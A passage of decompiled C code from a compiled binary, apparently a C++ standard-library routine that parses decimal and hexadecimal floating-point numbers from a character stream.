																			L404:
																			 *_t1946 = 0;
																		} else {
																			_t1288 =  *((intOrPtr*)( *((intOrPtr*)(_t1624 + 0x38))));
																			__eflags = _t1288;
																			if(_t1288 == 0) {
																				L401:
																				_t824 =  *((intOrPtr*)( *_t1624 + 0x38))();
																			} else {
																				__eflags =  *( *(_t1624 + 0x50));
																				if( *( *(_t1624 + 0x50)) <= 0) {
																					goto L401;
																				} else {
																					_t824 =  *_t1288 & 0x0000ffff;
																				}
																			}
																			__eflags = (_t824 & 0x0000ffff) - 0xffff;
																			if((_t824 & 0x0000ffff) == 0xffff) {
																				goto L404;
																			} else {
																				 *(_t1946 + 0xa) = _t824;
																			}
																		}
																		 *(_t1946 + 8) = 1;
																	}
																	__eflags = ( *(_t1946 + 0xa) & 0x0000ffff) - _v16;
																	if(( *(_t1946 + 0xa) & 0x0000ffff) == _v16) {
																		_t1622 =  *_t1946;
																		__eflags = _t1622;
																		if(_t1622 == 0) {
																			L414:
																			 *_t1946 = 0;
																			_t820 = 1;
																			goto L380;
																		} else {
																			_t1285 =  *((intOrPtr*)(_t1622 + 0x38));
																			_t1783 =  *_t1285;
																			__eflags = _t1783;
																			if(_t1783 == 0) {
																				L411:
																				_t827 =  *((intOrPtr*)( *_t1622 + 0x40))();
																			} else {
																				_t1577 =  *((intOrPtr*)(_t1622 + 0x50));
																				_t1075 =  *_t1577;
																				__eflags = _t1075;
																				if(_t1075 <= 0) {
																					goto L411;
																				} else {
																					 *_t1577 = _t1075 - 1;
																					 *_t1285 =  &(_t1783[1]);
																					_t827 =  *_t1783 & 0x0000ffff;
																				}
																			}
																			__eflags = (_t827 & 0x0000ffff) - 0xffff;
																			if((_t827 & 0x0000ffff) == 0xffff) {
																				goto L414;
																			} else {
																				_t820 = 0;
																				L380:
																				 *(_t1946 + 8) = _t820;
																				_a8 = _t820;
																				_t1010 = 1;
																				continue;
																			}
																			while(1) {
																				L430:
																				_t1613 =  *_t1946;
																				__eflags = _t1613;
																				_t1100 = 0;
																				if(_t1613 == 0) {
																					goto L436;
																				}
																				_t1269 =  *((intOrPtr*)( *((intOrPtr*)(_t1613 + 0x38))));
																				__eflags = _t1269;
																				if(_t1269 == 0) {
																					L434:
																					_t818 =  *((intOrPtr*)( *_t1613 + 0x38))();
																				} else {
																					__eflags =  *( *(_t1613 + 0x50));
																					if( *( *(_t1613 + 0x50)) <= 0) {
																						goto L434;
																					} else {
																						_t818 =  *_t1269 & 0x0000ffff;
																					}
																				}
																				_t1100 = 0;
																				__eflags = (_t818 & 0x0000ffff) - 0xffff;
																				sil = (_t818 & 0x0000ffff) != 0xffff;
																				__eflags = sil;
																				L436:
																				_t1614 =  *_a56;
																				__eflags = _t1614;
																				if(_t1614 == 0) {
																					_t806 = 0;
																					__eflags = _t1100;
																					if(_t1100 != 0) {
																						goto L442;
																					} else {
																					}
																				} else {
																					_t1277 =  *((intOrPtr*)( *((intOrPtr*)(_t1614 + 0x38))));
																					__eflags = _t1277;
																					if(_t1277 == 0) {
																						L440:
																						_t813 =  *((intOrPtr*)( *_t1614 + 0x38))();
																					} else {
																						__eflags =  *( *(_t1614 + 0x50));
																						if( *( *(_t1614 + 0x50)) <= 0) {
																							goto L440;
																						} else {
																							_t813 =  *_t1277 & 0x0000ffff;
																						}
																					}
																					__eflags = (_t813 & 0x0000ffff) - 0xffff;
																					_t806 = 0 | __eflags != 0x00000000;
																					if(__eflags != 0) {
																						L442:
																						__eflags =  *(_t1946 + 8);
																						if( *(_t1946 + 8) == 0) {
																							_t1621 =  *_t1946;
																							__eflags = _t1621;
																							if(_t1621 == 0) {
																								L452:
																								 *_t1946 = 0;
																							} else {
																								_t1274 =  *((intOrPtr*)( *((intOrPtr*)(_t1621 + 0x38))));
																								__eflags = _t1274;
																								if(_t1274 == 0) {
																									L449:
																									_t806 =  *((intOrPtr*)( *_t1621 + 0x38))();
																								} else {
																									__eflags =  *( *(_t1621 + 0x50));
																									if( *( *(_t1621 + 0x50)) <= 0) {
																										goto L449;
																									} else {
																										_t806 =  *_t1274 & 0x0000ffff;
																									}
																								}
																								__eflags = (_t806 & 0x0000ffff) - 0xffff;
																								if((_t806 & 0x0000ffff) == 0xffff) {
																									goto L452;
																								} else {
																									 *(_t1946 + 0xa) = _t806;
																								}
																							}
																							 *(_t1946 + 8) = 1;
																						}
																						_t1016 =  *(_t1946 + 0xa) & 0x0000ffff;
																						_t1265 = _t1935;
																						while(1) {
																							_t1053 =  *(_t1265 + 2) & 0x0000ffff;
																							_t1265 = _t1265 + 2;
																							__eflags = _t1053;
																							if(_t1053 == 0) {
																								break;
																							}
																							__eflags = _t1053 - _t1016;
																							if(_t1053 != _t1016) {
																								continue;
																							} else {
																							}
																							break;
																						}
																						_t1267 = _t1265 -  &_v16 >> 1;
																						__eflags = _t1267 - 9;
																						if(_t1267 <= 9) {
																							__eflags = _t1074 - 7;
																							if(_t1074 <= 7) {
																								_t1619 = _a88;
																								 *_t1619 =  *((intOrPtr*)(_t1267 + "0123456789-+Ee"));
																								_a88 = _t1619 + 1;
																								_t1074 = _t1074 + 1;
																								__eflags = _t1074;
																							}
																							_t1616 =  *_t1946;
																							__eflags = _t1616;
																							if(_t1616 == 0) {
																								L428:
																								 *_t1946 = 0;
																								_t812 = 1;
																							} else {
																								_t1271 =  *((intOrPtr*)(_t1616 + 0x38));
																								_t1779 =  *_t1271;
																								__eflags = _t1779;
																								if(_t1779 == 0) {
																									L425:
																									_t815 =  *((intOrPtr*)( *_t1616 + 0x40))();
																								} else {
																									_t1576 =  *((intOrPtr*)(_t1616 + 0x50));
																									_t1101 =  *_t1576;
																									__eflags = _t1101;
																									if(_t1101 <= 0) {
																										goto L425;
																									} else {
																										 *_t1576 = _t1101 - 1;
																										 *_t1271 =  &(_t1779[1]);
																										_t815 =  *_t1779 & 0x0000ffff;
																									}
																								}
																								__eflags = (_t815 & 0x0000ffff) - 0xffff;
																								if((_t815 & 0x0000ffff) == 0xffff) {
																									goto L428;
																								} else {
																									_t812 = 0;
																								}
																							}
																							 *(_t1946 + 8) = _t812;
																							_t1010 = 1;
																							continue;
																						}
																					}
																				}
																				goto L311;
																			}
																		}
																		goto L430;
																	}
																}
															}
															__eflags = _t1010;
															if(_t1010 != 0) {
																 *_t1958 = 0x30;
																_t1958 = _t1958 + 1;
																__eflags = _t1958;
															}
															_t1074 = 0;
															_t1935 =  &_v18;
															_a88 = _t1958;
															r15d = _a100;
															goto L430;
														}
													} else {
														__eflags = _t806 - _a8;
														if(_t806 == _a8) {
															goto L331;
														}
													}
												}
											}
										}
										goto L311;
									}
								} else {
									__eflags =  *(_t1946 + 8);
									if( *(_t1946 + 8) == 0) {
										_t1768 =  *_t1946;
										__eflags = _t1768;
										if(_t1768 == 0) {
											L147:
											 *_t1946 = 0;
										} else {
											_t1551 =  *((intOrPtr*)( *((intOrPtr*)(_t1768 + 0x38))));
											__eflags = _t1551;
											if(_t1551 == 0) {
												L144:
												_t806 =  *((intOrPtr*)( *_t1768 + 0x38))();
												_t1933 = _a56;
											} else {
												__eflags =  *( *(_t1768 + 0x50));
												if( *( *(_t1768 + 0x50)) <= 0) {
													goto L144;
												} else {
													_t806 =  *_t1551 & 0x0000ffff;
												}
											}
											__eflags = (_t806 & 0x0000ffff) - 0xffff;
											if((_t806 & 0x0000ffff) == 0xffff) {
												goto L147;
											} else {
												 *(_t1946 + 0xa) = _t806;
											}
										}
										 *(_t1946 + 8) = 1;
									}
									_t1014 =  *(_t1946 + 0xa) & 0x0000ffff;
									_t1369 =  &_v18;
									asm("o16 nop [cs:eax+eax]");
									while(1) {
										_t1051 =  *(_t1369 + 2) & 0x0000ffff;
										_t1369 = _t1369 + 2;
										__eflags = _t1051;
										if(_t1051 == 0) {
											break;
										}
										__eflags = _t1051 - _t1014;
										if(_t1051 != _t1014) {
											continue;
										} else {
										}
										break;
									}
									_t1812 =  &_v16;
									_t1371 = _t1369 - _t1812 >> 1;
									__eflags = _t1371 - 9;
									if(_t1371 > 9) {
										__eflags = _a48 - 0xf;
										_t1373 =  <=  ? _t1959 : _a24;
										__eflags =  *((char*)(_t1373 + _t1966));
										if( *((char*)(_t1373 + _t1966)) == 0) {
											goto L153;
										} else {
											__eflags = _a80;
											if(_a80 == 0) {
												goto L153;
											} else {
												__eflags = _t1014 - _a80;
												if(_t1014 != _a80) {
													goto L153;
												} else {
													_t1936 = _a40;
													__eflags = _t1936 - 0xfffffffe;
													if(_t1936 >= 0xfffffffe) {
														_t871 = L00430CE0(_t1009, _t1051, _t1149, _t1373, "string too long", _t1879, _t1901);
														asm("ud2");
														_t1905 = _t1373;
														_t1374 = _a48;
														__eflags = _t1374 - 0x10;
														if(_t1374 >= 0x10) {
															_t1759 = _a24;
															__eflags = _t1374 + 1 - 0x1000;
															if(_t1374 + 1 >= 0x1000) {
																_t1759 =  *((intOrPtr*)(_t1759 - 8));
															}
															_t871 = E00402090(_t871, _t1759);
														}
														_t1375 = _v32;
														__eflags = _t1375 - 0x10;
														if(_t1375 >= 0x10) {
															_t1758 = _v56;
															__eflags = _t1375 + 1 - 0x1000;
															if(_t1375 + 1 >= 0x1000) {
																_t1758 =  *((intOrPtr*)(_t1758 - 8));
															}
															_t871 = E00402090(_t871, _t1758);
														}
														_t872 = E0044CEA0(_t871, _t1905);
														asm("ud2");
														_push(_t1917);
														_t1376 =  *_t1913;
														 *_t1376 =  *_t1376 + _t872;
														 *_t1376 =  *_t1376 + _t872;
														__eflags =  *_t1376;
														0;
														0;
														goto L468;
													} else {
														_t1944 = _t1936 + 1;
														r8d = 0;
														_t986 = E00404270(_t806,  &_a16, _t1944);
														__eflags = _t986;
														if(_t986 != 0) {
															__eflags = _a48 - 0xf;
															_t1764 =  <=  ? _t1959 : _a24;
															 *((char*)(( <=  ? _t1959 : _a24) + _a40)) = 0;
															__eflags = _a48 - 0xf;
															_t1563 =  <=  ? _t1959 : _a24;
															_a40 = _t1944;
															 *((char*)(( <=  ? _t1959 : _a24) + _t1944)) = 0;
														}
														_t1966 = _t1966 + 1;
														_t1933 = _a56;
														goto L119;
													}
												}
											}
										}
									} else {
										_t1872 = _a64;
										__eflags = _t1051 - 0x30;
										if(_t1051 < 0x30) {
											__eflags = _t1051;
											if(_t1051 != 0) {
												L116:
												_t1766 = _a88;
												 *_t1766 =  *((intOrPtr*)(_t1371 + "0123456789-+Ee"));
												_a88 = _t1766 + 1;
												__eflags = _t1051 + 1;
												_a64 = _t1872;
											} else {
												__eflags = _t1371;
												if(_t1371 != 0) {
													goto L116;
												} else {
													_a64 = _t1371;
												}
											}
										} else {
											__eflags = _t1371;
											if(_t1371 != 0) {
												_a76 = 1;
											}
											_a100 = _a100 + 1;
										}
										__eflags = _a48 - 0xf;
										_t1565 =  <=  ? _t1959 : _a24;
										_t1014 =  *(_t1565 + _t1966);
										_t1009 = 1;
										__eflags = _t1014 - 0x7f;
										if(_t1014 != 0x7f) {
											_t1014 = _t1014 + 1;
											__eflags = _t1014;
											 *(_t1565 + _t1966) = _t1014;
										}
										L119:
										_t1761 =  *_t1946;
										__eflags = _t1761;
										if(_t1761 == 0) {
											L100:
											 *_t1946 = 0;
											_t806 = 1;
											 *(_t1946 + 8) = 1;
										} else {
											_t1559 =  *((intOrPtr*)(_t1761 + 0x38));
											_t1871 =  *_t1559;
											__eflags = _t1871;
											if(_t1871 == 0) {
												L123:
												_t988 =  *((intOrPtr*)( *_t1761 + 0x40))();
												_t1933 = _a56;
											} else {
												_t1879 =  *((intOrPtr*)(_t1761 + 0x50));
												_t1147 =  *_t1879;
												__eflags = _t1147;
												if(_t1147 <= 0) {
													goto L123;
												} else {
													 *_t1879 = _t1147 - 1;
													 *_t1559 =  &(_t1871[1]);
													_t988 =  *_t1871 & 0x0000ffff;
												}
											}
											__eflags = (_t988 & 0x0000ffff) - 0xffff;
											if((_t988 & 0x0000ffff) == 0xffff) {
												goto L100;
											} else {
												_t806 = 0;
												__eflags = 0;
												 *(_t1946 + 8) = 0;
												while(1) {
													_t1651 =  *_t1946;
													_t1112 = 0;
													__eflags = _t1651;
													_t1067 = 0;
													if(_t1651 == 0) {
														goto L132;
													}
													goto L127;
												}
											}
										}
										continue;
									}
								}
								goto L991;
							}
						}
					}
				} else {
					_t1812 = __rdx;
					_t1922 = __r8;
					_t1929 = __r9;
					_t1917 = _t1917 + 0xe8;
					_pop(_t1573);
					_pop(_t1879);
					_pop(_t1905);
					_pop(_t1936);
					_pop(_t1946);
					_pop(_t1959);
					_pop(_t1966);
					_pop(_t1913);
					L468:
					_t1914 =  &_v488;
					_a96 = _t1929;
					_t1582 = _t1922;
					_t1961 = _t1812;
					_t1906 = _a224;
					_t1657 =  *((intOrPtr*)( *((intOrPtr*)(_t1906 + 0x40))));
					_v32 = _t1657;
					_t1378 =  *_t1657;
					 *((intOrPtr*)(_t1378 + 0x10))(_t1573, _t1879, _t1905, _t1936, _t1946, _t1959, _t1966, _t1913);
					E00412FF0(_t1009, _t1051, _t1067, _t1149,  &_v32, _t1922, _t1929, _t1931, _t1936, _t1946, _t1961, _t1966);
					_t1937 = _t1378;
					_t1659 = _v32;
					if(_t1659 != 0) {
						_t1547 =  *_t1659;
						 *((intOrPtr*)(_t1547 + 0x18))();
						if(_t1547 != 0) {
							 *((intOrPtr*)( *_t1547 + 8))();
						}
					}
					 *((intOrPtr*)( *_t1937 + 0x30))();
					_t1661 =  *((intOrPtr*)( *((intOrPtr*)(_t1906 + 0x40))));
					_a40 = _t1661;
					_t1381 =  *_t1661;
					 *((intOrPtr*)(_t1381 + 0x10))();
					E004119C0(_t1009, _t1051, _t1067, _t1149,  &_a40, _t1922, _t1929, _t1931, _t1961);
					_t1907 = _t1381;
					_t1663 = _a40;
					if(_t1663 != 0) {
						_t1546 =  *_t1663;
						 *((intOrPtr*)(_t1546 + 0x18))();
						if(_t1546 != 0) {
							 *((intOrPtr*)( *_t1546 + 8))();
						}
					}
					 *((intOrPtr*)( *_t1907 + 0x68))();
					_t1665 =  *_t1582;
					_t1113 = 0;
					_t1081 = 0;
					if(_t1665 != 0) {
						_t1544 =  *((intOrPtr*)( *((intOrPtr*)(_t1665 + 0x38))));
						if(_t1544 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1665 + 0x50)))) <= 0) {
							_t980 =  *((intOrPtr*)( *_t1665 + 0x38))();
						} else {
							_t980 =  *_t1544 & 0x0000ffff;
						}
						_t1081 = 0;
						dil = (_t980 & 0x0000ffff) != 0xffff;
					}
					_t1666 =  *_a96;
					if(_t1666 != 0) {
						_t1541 =  *((intOrPtr*)( *((intOrPtr*)(_t1666 + 0x38))));
						if(_t1541 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1666 + 0x50)))) <= 0) {
							_t978 =  *((intOrPtr*)( *_t1666 + 0x38))();
						} else {
							_t978 =  *_t1541 & 0x0000ffff;
						}
						_t1113 = 0;
						sil = (_t978 & 0x0000ffff) != 0xffff;
					}
					_t1971 = _t1961;
					if(_t1081 != _t1113) {
						if( *(_t1582 + 8) == 0) {
							_t1755 =  *_t1582;
							if(_t1755 == 0) {
								L495:
								 *_t1582 = 0;
							} else {
								_t1538 =  *((intOrPtr*)( *((intOrPtr*)(_t1755 + 0x38))));
								if(_t1538 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1755 + 0x50)))) <= 0) {
									_t977 =  *((intOrPtr*)( *_t1755 + 0x38))();
								} else {
									_t977 =  *_t1538 & 0x0000ffff;
								}
								_t1014 = _t977 & 0x0000ffff;
								if(_t1014 == 0xffff) {
									goto L495;
								} else {
									 *(_t1582 + 0xa) = _t977;
								}
							}
							 *(_t1582 + 8) = 1;
						}
						_t973 =  *(_t1582 + 0xa) & 0x0000ffff;
						if(_t973 != _a14) {
							__eflags = _t973 - _a12;
							_t1971 = _t1961;
							if(_t973 == _a12) {
								 *_t1961 = 0x2d;
								_t1752 =  *_t1582;
								__eflags = _t1752;
								if(_t1752 == 0) {
									goto L510;
								} else {
									_t1534 =  *((intOrPtr*)(_t1752 + 0x38));
									_t1861 =  *_t1534;
									__eflags = _t1861;
									if(_t1861 == 0) {
										L507:
										_t975 =  *((intOrPtr*)( *_t1752 + 0x40))();
									} else {
										_t1879 =  *((intOrPtr*)(_t1752 + 0x50));
										_t1145 =  *_t1879;
										__eflags = _t1145;
										if(_t1145 <= 0) {
											goto L507;
										} else {
											goto L506;
										}
									}
									goto L508;
								}
								goto L511;
							}
						} else {
							 *_t1961 = 0x2b;
							_t1754 =  *_t1582;
							if(_t1754 == 0) {
								L510:
								 *_t1582 = 0;
								_t974 = 1;
							} else {
								_t1534 =  *((intOrPtr*)(_t1754 + 0x38));
								_t1861 =  *_t1534;
								if(_t1861 == 0) {
									L501:
									_t975 =  *((intOrPtr*)( *_t1754 + 0x40))();
								} else {
									_t1879 =  *((intOrPtr*)(_t1754 + 0x50));
									_t1145 =  *_t1879;
									if(_t1145 > 0) {
										L506:
										 *_t1879 = _t1145 - 1;
										 *_t1534 =  &(_t1861[1]);
										_t975 =  *_t1861 & 0x0000ffff;
									} else {
										goto L501;
									}
								}
								L508:
								if((_t975 & 0x0000ffff) == 0xffff) {
									goto L510;
								} else {
									_t974 = 0;
								}
							}
							L511:
							_t1971 = _t1961 + 1;
							 *(_t1582 + 8) = _t974;
						}
					}
					 *_t1971 = 0x7830;
					_t1667 =  *_t1582;
					_t1114 = 0;
					_t1082 = 0;
					if(_t1667 != 0) {
						_t1532 =  *((intOrPtr*)( *((intOrPtr*)(_t1667 + 0x38))));
						if(_t1532 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1667 + 0x50)))) <= 0) {
							_t971 =  *((intOrPtr*)( *_t1667 + 0x38))();
						} else {
							_t971 =  *_t1532 & 0x0000ffff;
						}
						_t1082 = 0;
						dil = (_t971 & 0x0000ffff) != 0xffff;
					}
					_t1384 = _a96;
					_t1668 =  *_t1384;
					if(_t1668 != 0) {
						_t1384 =  *((intOrPtr*)( *((intOrPtr*)(_t1668 + 0x38))));
						if(_t1384 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1668 + 0x50)))) <= 0) {
							_t1384 =  *_t1668;
							_t969 = _t1384[0x1c]();
						} else {
							_t969 =  *_t1384 & 0x0000ffff;
						}
						_t1114 = 0;
						sil = (_t969 & 0x0000ffff) != 0xffff;
					}
					if(_t1082 == _t1114) {
						L579:
						_t1082 = 0;
					} else {
						if( *(_t1582 + 8) == 0) {
							_t1751 =  *_t1582;
							if(_t1751 == 0) {
								L533:
								 *_t1582 = 0;
							} else {
								_t1384 =  *((intOrPtr*)( *((intOrPtr*)(_t1751 + 0x38))));
								if(_t1384 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1751 + 0x50)))) <= 0) {
									_t1384 =  *_t1751;
									_t968 = _t1384[0x1c]();
								} else {
									_t968 =  *_t1384 & 0x0000ffff;
								}
								_t1014 = _t968 & 0x0000ffff;
								if(_t1014 == 0xffff) {
									goto L533;
								} else {
									 *(_t1582 + 0xa) = _t968;
								}
							}
							 *(_t1582 + 8) = 1;
						}
						if(( *(_t1582 + 0xa) & 0x0000ffff) != _v32) {
							goto L579;
						} else {
							_t1744 =  *_t1582;
							if(_t1744 == 0) {
								L546:
								 *_t1582 = 0;
								 *(_t1582 + 8) = 1;
								goto L547;
							} else {
								_t1524 =  *((intOrPtr*)(_t1744 + 0x38));
								_t1856 =  *_t1524;
								if(_t1856 == 0) {
									L540:
									_t964 =  *((intOrPtr*)( *_t1744 + 0x40))();
								} else {
									_t1879 =  *((intOrPtr*)(_t1744 + 0x50));
									_t1143 =  *_t1879;
									if(_t1143 <= 0) {
										goto L540;
									} else {
										 *_t1879 = _t1143 - 1;
										 *_t1524 =  &(_t1856[1]);
										_t964 =  *_t1856 & 0x0000ffff;
									}
								}
								if((_t964 & 0x0000ffff) == 0xffff) {
									goto L546;
								} else {
									_t1749 =  *_t1582;
									 *(_t1582 + 8) = 0;
									if(_t1749 == 0) {
										L547:
										_t1140 = 0;
									} else {
										_t1527 =  *((intOrPtr*)( *((intOrPtr*)(_t1749 + 0x38))));
										if(_t1527 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1749 + 0x50)))) <= 0) {
											_t966 =  *((intOrPtr*)( *_t1749 + 0x38))();
										} else {
											_t966 =  *_t1527 & 0x0000ffff;
										}
										_t1140 = 0;
										sil = (_t966 & 0x0000ffff) != 0xffff;
									}
								}
							}
							_t1384 = _a96;
							_t1745 =  *_t1384;
							if(_t1745 == 0) {
								_t956 = 0;
								__eflags = 0;
							} else {
								_t1384 =  *((intOrPtr*)( *((intOrPtr*)(_t1745 + 0x38))));
								if(_t1384 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1745 + 0x50)))) <= 0) {
									_t1384 =  *_t1745;
									_t962 = _t1384[0x1c]();
								} else {
									_t962 =  *_t1384 & 0x0000ffff;
								}
								_t1014 = _t962 & 0x0000ffff;
								_t956 = 0 | _t1014 != 0x0000ffff;
							}
							dil = 1;
							if(_t1140 != _t956) {
								if( *(_t1582 + 8) == 0) {
									_t1748 =  *_t1582;
									if(_t1748 == 0) {
										L566:
										 *_t1582 = 0;
									} else {
										_t1384 =  *((intOrPtr*)( *((intOrPtr*)(_t1748 + 0x38))));
										if(_t1384 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1748 + 0x50)))) <= 0) {
											_t1384 =  *_t1748;
											_t961 = _t1384[0x1c]();
										} else {
											_t961 =  *_t1384 & 0x0000ffff;
										}
										_t1014 = _t961 & 0x0000ffff;
										if(_t1014 == 0xffff) {
											goto L566;
										} else {
											 *(_t1582 + 0xa) = _t961;
										}
									}
									 *(_t1582 + 8) = 1;
								}
								_t957 =  *(_t1582 + 0xa) & 0x0000ffff;
								if(_t957 == _a18 || _t957 == _a16) {
									_t1746 =  *_t1582;
									if(_t1746 == 0) {
										L577:
										 *_t1582 = 0;
										_t958 = 1;
									} else {
										_t1384 =  *((intOrPtr*)(_t1746 + 0x38));
										_t1853 =  *_t1384;
										if(_t1853 == 0) {
											L574:
											_t1384 =  *_t1746;
											_t959 = _t1384[0x20]();
										} else {
											_t1879 =  *((intOrPtr*)(_t1746 + 0x50));
											_t1141 =  *_t1879;
											if(_t1141 <= 0) {
												goto L574;
											} else {
												 *_t1879 = _t1141 - 1;
												 *_t1384 =  &(_t1853[1]);
												_t959 =  *_t1853 & 0x0000ffff;
											}
										}
										if((_t959 & 0x0000ffff) == 0xffff) {
											goto L577;
										} else {
											_t958 = 0;
										}
									}
									 *(_t1582 + 8) = _t958;
									goto L579;
								}
							}
						}
					}
					_a108 = _t1082;
					_a112 = _t1971 + 2;
					_t1909 =  >  ? _v80 :  &_v80;
					_t879 =  *_t1909;
					_v48 = _t1937;
					if(_t879 == 0x7f || _t879 <= 0) {
						_t1938 = _t1961;
						r13d = 0;
						_t1962 =  &_v34;
						r15d = 0;
						while(1) {
							_t1669 =  *_t1582;
							__eflags = _t1669;
							_t1083 = 0;
							if(_t1669 == 0) {
								goto L607;
							}
							_t1490 =  *((intOrPtr*)( *((intOrPtr*)(_t1669 + 0x38))));
							__eflags = _t1490;
							if(_t1490 == 0) {
								L605:
								_t943 =  *((intOrPtr*)( *_t1669 + 0x38))();
							} else {
								__eflags =  *( *(_t1669 + 0x50));
								if( *( *(_t1669 + 0x50)) <= 0) {
									goto L605;
								} else {
									_t943 =  *_t1490 & 0x0000ffff;
								}
							}
							_t1083 = 0;
							__eflags = (_t943 & 0x0000ffff) - 0xffff;
							dil = (_t943 & 0x0000ffff) != 0xffff;
							__eflags = dil;
							L607:
							_t1670 =  *_a96;
							__eflags = _t1670;
							if(_t1670 == 0) {
								_t880 = 0;
								__eflags = _t1083;
								if(_t1083 != 0) {
									goto L613;
								} else {
								}
							} else {
								_t1498 =  *((intOrPtr*)( *((intOrPtr*)(_t1670 + 0x38))));
								__eflags = _t1498;
								if(_t1498 == 0) {
									L611:
									_t939 =  *((intOrPtr*)( *_t1670 + 0x38))();
								} else {
									__eflags =  *( *(_t1670 + 0x50));
									if( *( *(_t1670 + 0x50)) <= 0) {
										goto L611;
									} else {
										_t939 =  *_t1498 & 0x0000ffff;
									}
								}
								__eflags = (_t939 & 0x0000ffff) - 0xffff;
								_t880 = 0 | __eflags != 0x00000000;
								if(__eflags != 0) {
									L613:
									__eflags =  *(_t1582 + 8);
									if( *(_t1582 + 8) == 0) {
										_t1722 =  *_t1582;
										__eflags = _t1722;
										if(_t1722 == 0) {
											L623:
											 *_t1582 = 0;
										} else {
											_t1495 =  *((intOrPtr*)( *((intOrPtr*)(_t1722 + 0x38))));
											__eflags = _t1495;
											if(_t1495 == 0) {
												L620:
												_t880 =  *((intOrPtr*)( *_t1722 + 0x38))();
											} else {
												__eflags =  *( *(_t1722 + 0x50));
												if( *( *(_t1722 + 0x50)) <= 0) {
													goto L620;
												} else {
													_t880 =  *_t1495 & 0x0000ffff;
												}
											}
											__eflags = (_t880 & 0x0000ffff) - 0xffff;
											if((_t880 & 0x0000ffff) == 0xffff) {
												goto L623;
											} else {
												 *(_t1582 + 0xa) = _t880;
											}
										}
										 *(_t1582 + 8) = 1;
									}
									_t1033 =  *(_t1582 + 0xa) & 0x0000ffff;
									_t1386 = _t1962;
									asm("o16 nop [cs:eax+eax]");
									while(1) {
										_t1059 =  *(_t1386 + 2) & 0x0000ffff;
										_t1386 = _t1386 + 2;
										__eflags = _t1059;
										if(_t1059 == 0) {
											break;
										}
										__eflags = _t1059 - _t1033;
										if(_t1059 != _t1033) {
											continue;
										} else {
											break;
										}
										goto L632;
									}
									_t1388 = _t1386 -  &_v32 >> 1;
									__eflags = _t1388 - 0x15;
									if(_t1388 <= 0x15) {
										__eflags = r13d - 0x30;
										if(r13d < 0x30) {
											__eflags = r13d;
											if(r13d != 0) {
												L591:
												_t1718 = _a112;
												 *_t1718 =  *((intOrPtr*)(_t1388 + "0123456789ABCDEFabcdef-+XxPp"));
												_a112 = _t1718 + 1;
												r13d = r13d + 1;
												__eflags = r13d;
											} else {
												__eflags = _t1388;
												if(_t1388 != 0) {
													goto L591;
												} else {
													r13d = 0;
												}
											}
										} else {
											r15d = r15d + 1;
										}
										_t1720 =  *_t1582;
										__eflags = _t1720;
										if(_t1720 == 0) {
											L599:
											 *_t1582 = 0;
											_t937 = 1;
										} else {
											_t1492 =  *((intOrPtr*)(_t1720 + 0x38));
											_t1843 =  *_t1492;
											__eflags = _t1843;
											if(_t1843 == 0) {
												L596:
												_t941 =  *((intOrPtr*)( *_t1720 + 0x40))();
											} else {
												_t1896 =  *((intOrPtr*)(_t1720 + 0x50));
												_t1135 =  *_t1896;
												__eflags = _t1135;
												if(_t1135 <= 0) {
													goto L596;
												} else {
													 *_t1896 = _t1135 - 1;
													 *_t1492 =  &(_t1843[1]);
													_t941 =  *_t1843 & 0x0000ffff;
												}
											}
											__eflags = (_t941 & 0x0000ffff) - 0xffff;
											if((_t941 & 0x0000ffff) == 0xffff) {
												goto L599;
											} else {
												_t937 = 0;
											}
										}
										 *(_t1582 + 8) = _t937;
										_a108 = 1;
										continue;
									}
								}
							}
							_a88 = 0;
							_t1963 = _t1938;
							r12d = r15d;
							__eflags = _a108 & 0x00000001;
							if((_a108 & 0x00000001) != 0) {
								goto L630;
							}
							goto L632;
						}
					} else {
						r13d = 0;
						_a32 = _t1961;
						if(_v64 == 0) {
							_t880 = 0;
							__eflags = 0;
							_a88 = _t1384;
						} else {
							_t1521 =  *_t1937;
							_t880 =  *((intOrPtr*)(_t1521 + 0x28))();
							_a88 = _t1521;
						}
						_v40 = _t1909;
						_t1942 =  &_a48;
						_a48 = 0;
						asm("movaps xmm0, [0x358dd]");
						asm("movups [ebp+0x40], xmm0");
						_a84 = 0;
						r14d = 0;
						while(1) {
							_t1723 =  *_t1582;
							_t1090 = 0;
							_t1137 = 0;
							if(_t1723 != 0) {
								_t1509 =  *((intOrPtr*)( *((intOrPtr*)(_t1723 + 0x38))));
								if(_t1509 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1723 + 0x50)))) <= 0) {
									_t951 =  *((intOrPtr*)( *_t1723 + 0x38))();
								} else {
									_t951 =  *_t1509 & 0x0000ffff;
								}
								_t880 = _t951 & 0x0000ffff;
								_t1137 = 0;
								sil = (_t951 & 0x0000ffff) != 0xffff;
							}
							_t1500 = _a96;
							_t1724 =  *_t1500;
							if(_t1724 != 0) {
								_t1500 =  *((intOrPtr*)( *((intOrPtr*)(_t1724 + 0x38))));
								if(_t1500 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1724 + 0x50)))) <= 0) {
									_t1500 =  *_t1724;
									_t950 = _t1500[0x1c]();
								} else {
									_t950 =  *_t1500 & 0x0000ffff;
								}
								_t880 = _t950 & 0x0000ffff;
								_t1090 = 0;
								dil = (_t950 & 0x0000ffff) != 0xffff;
							}
							if(_t1137 == _t1090) {
								break;
							}
							if( *(_t1582 + 8) == 0) {
								_t1742 =  *_t1582;
								if(_t1742 == 0) {
									L697:
									 *_t1582 = 0;
								} else {
									_t1500 =  *((intOrPtr*)( *((intOrPtr*)(_t1742 + 0x38))));
									if(_t1500 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t1742 + 0x50)))) <= 0) {
										_t1500 =  *_t1742;
										_t949 = _t1500[0x1c]();
									} else {
										_t949 =  *_t1500 & 0x0000ffff;
									}
									_t1014 = _t949 & 0x0000ffff;
									if(_t1014 == 0xffff) {
										goto L697;
									} else {
										 *(_t1582 + 0xa) = _t949;
									}
								}
								 *(_t1582 + 8) = 1;
							}
							_t880 =  *(_t1582 + 0xa) & 0x0000ffff;
							_t1726 =  &_v34;
							asm("o16 nop [cs:eax+eax]");
							while(1) {
